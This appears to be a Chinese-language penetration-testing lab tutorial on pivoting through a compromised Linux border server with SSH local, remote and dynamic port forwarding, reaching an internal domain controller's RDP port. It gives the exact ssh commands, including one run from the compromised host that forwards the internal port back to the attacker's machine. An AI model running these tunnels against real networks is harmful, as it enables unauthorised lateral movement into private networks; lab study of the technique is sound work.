写在前面:几乎所有Linux系统都支持且默认装有SSH,如果拿下的边界服务器是Linux系统,使用ssh隧道非常方便。
文章目录
1 实验环境
kali(攻击机,外网地址:192.168.8.48)
Windows2012(边界服务器,外网地址:192.168.8.57,内网地址:10.1.1.10)
CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)
DC(内网地址:10.1.1.2)
2 使用方法
2.1 常用参数
-C:压缩传输, 提高传输速度。
-f:将ssh 传输转入后台执行,不占用当前的shell。
-N:建立静默连接(连接后看不到具体会话)。
-g:允许远程主机连接本地用于转发的端口。
-L:本地端口转发。
-R:远程端口转发。
-D:动态转发(SOCKS 代理)。
-p:指定ssh 端口。
2.2 本地端口转发
假设已经拿下了CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)的权限,通过CentOS7可以访问DC(内网地址:10.1.1.2),但是DC(内网地址:10.1.1.2)不出网,此时就可以将DC的端口通过kali(攻击机,外网地址:192.168.8.48)和CentOS7的ssh隧道,转发到kali上。从而实现本地端口转发:即将目标主机的端口转发到本地,从而实现本地访问目标主机。
2.2.1 攻击机
kali(攻击机,外网地址:192.168.8.48)
ssh -CfNg -L 3389:10.1.1.2:3389 root@192.168.8.35
ssh -CfNg -L(本地端口转发) 3389(要映射到本地的端口):10.1.1.2(通过ssh隧道访问的目标主机):3389(要转发的目标端口) root@192.168.8.35(ssh隧道,跳板机IP)
2.2.2 效果演示
此时kali通过rdesktop访问本地3389端口,或者访问kali地址的3389端口即可访问到内网10.1.1.2的3389端口:
- kali访问本地:
- 真实机访问kali:
2.3 远程端口转发
实验环境同上,也可以通过CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)进行远程端口转发,将内网的端口转发到kali上实现相同的效果:
2.3.1 边界服务器(CentOS7)
ssh -CfNg -R 3389:10.1.1.2:3389 root@192.168.8.48
ssh -CfNg -R(远程端口转发) 3389(映射到远程的端口,即映射到kali上的端口):10.1.1.2(目标IP):3389(目标端口) root@192.168.8.48(要使用的ssh隧道,攻击机ip)
2.3.2 效果演示
kali访问本地3389端口:
注意:此方法不能通过真实机访问kali3389端口,因为边界服务器将DC端口转发到Kali上后,kali并没有将转发过来的3389端口对外开放。
2.4 动态转发(内网代理)
会将边界服务器作为一个socks代理,所有流量都会从这个代理出入。
2.4.1 攻击机
kali(攻击机,外网地址:192.168.8.48)
ssh -CfNg -D 7000 root@192.168.8.35
ssh -CfNg -D(动态转发) 7000(本地代理端口) root@192.168.8.35(代理隧道,边界服务器IP)